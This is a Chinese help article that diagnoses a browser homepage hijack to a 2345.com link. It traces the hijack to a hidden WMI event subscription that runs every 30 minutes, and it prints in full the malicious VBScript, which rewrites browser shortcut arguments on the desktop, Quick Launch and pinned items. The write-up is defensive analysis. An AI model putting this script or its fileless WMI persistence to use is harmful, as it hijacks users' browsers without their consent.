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IE,火狐以及其他瀏覽器主頁被劫持到www.2345.com/?kunown的解決辦法圖文

近日在網(wǎng)上相續(xù)看到有網(wǎng)友表示自己在下載使用了VeryCD下載鏈接查看器這款工具以后,再打開瀏覽器就被直接跳轉(zhuǎn)到 www.2345.com/?kunown 這個導航頁面了,而且打開多個瀏覽器:IE、Chrome、Firefox、Opera、Safari、Maxthon,均相同癥狀,檢查瀏覽器首頁設置均正常!
最后發(fā)現(xiàn),原來快速啟動欄的IE瀏覽器快捷命令被其修改,修改后的類似如下圖,于是認為就是普通的修改快捷方式,手工刪除 2345 網(wǎng)址的部分,但半小時后再次被更改了 ??紤]到可能加載了啟動項,在注冊表、啟動項、服務等中均未查找到相關(guān)信息,重啟后IE快捷方式被重新篡改 。嘗試了事件查看器和任務計劃,均未在里面查出任何信息 。

IE,火狐以及其他瀏覽器主頁被劫持到www.2345.com/?kunown的解決辦法圖文


之后又安裝了超級兔子、360、exterminateit等工具進行檢查,也未檢出 。
打開ProcessMonitor進行監(jiān)視,發(fā)現(xiàn)每隔30分鐘出現(xiàn)一個scrcons.exe進程自動啟動并修改快速啟動欄的命令,然后自動關(guān)閉(幸虧是30分鐘一次,你要是24小時一次,那我就杯具了),修改Win7下opera快速啟動圖標路徑類似如下:
C:Users我們AppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedTaskBarOpera12.01 1532.lnk
查找資料,發(fā)現(xiàn)這應該是一個通過WMI發(fā)起的定時自動運行腳本 。要查看WMI事件,到以下地址下載WMITool并安裝
http://www.microsoft.com/en-us/download/details.aspx?id=24045
安裝后打開WMI event viewer,點擊左上角register for events,彈出Connect to namespace框,填入rootsubscription(手工復制粘貼啊,默認出現(xiàn)的不是這個),確定,出現(xiàn)下圖:
IE,火狐以及其他瀏覽器主頁被劫持到www.2345.com/?kunown的解決辦法圖文


點擊左側(cè)_EventFilter:Name=unown_filter,再至右側(cè)右鍵點擊ActiveScriptEventConsume r Name=unown,右鍵選擇view instant properties,如下圖:
IE,火狐以及其他瀏覽器主頁被劫持到www.2345.com/?kunown的解決辦法圖文


查看ScriptText項可知,這是一段VBScript調(diào)用系統(tǒng)服務間隔30分鐘執(zhí)行一次,將所有瀏覽器調(diào)用加上http://www.2345.com/?kunown!抓住你了~!隱藏的夠深,沒常駐進程,沒有文件(把自己存儲在WMI數(shù)據(jù)庫中) 。
受到影響的瀏覽器有(各色瀏覽器,差不多齊了):
IEXPLORE.EXE, chrome.exe, firefox.exe, 360chrome.exe, 360SE.exe, SogouExplorer.exe, opera.exe, Safari.exe, Maxthon.exe, TTraveler.exe, TheWorld.exe, baidubrowser.exe, liebao.exe, QQBrowser.exe
具體代碼如下:
On Error Resume Next:Const link = http://www.2345.com/?kunown:browsers = Array(IEXPLORE.EXE, chrome.exe, firefox.exe, 360chrome.exe, 360SE.exe, SogouExplorer.exe, opera.exe, Safari.exe, Maxthon.exe, TTraveler.exe, TheWorld.exe, baidubrowser.exe, liebao.exe, QQBrowser.exe):Set oDic = CreateObject(scripting.dictionary):For Each browser In browsers:oDic.Add LCase(browser), browser:Next:Set fso = CreateObject(Scripting.Filesystemobject):Set WshShell = CreateObject(Wscript.Shell):strDesktop = C:UsersGeminiDesktop:strAllUsersDesktop = WshShell.SpecialFolders(AllUsersDesktop):QuickLaunch = C:UsersGeminiAppDataRoamingMicrosoftInternet ExplorerQuick Launch:UserPinnedStartMenu = QuickLaunchUser PinnedStartMenu:UserPinnedTaskBar = QuickLaunchUser PinnedTaskBar:For Each file In fso.GetFolder(strDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = lnk Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path).fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:For Each file In fso.GetFolder(strAllUsersDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = lnk Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path).fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:If fso.FolderExists(QuickLaunch) Then:For Each file In fso.GetFolder(QuickLaunch).Files:If LCase(fso.GetExtensionName(file.Path)) = lnk Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path).fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedStartMenu) Then:For Each file In fso.GetFolder(UserPinnedStartMenu).Files:If LCase(fso.GetExtensionName(file.Path)) = lnk Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path).fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedTaskBar) Then:For Each file In fso.GetFolder(UserPinnedTaskBar).Files:If LCase(fso.GetExtensionName(file.Path)) = lnk Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path).fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If

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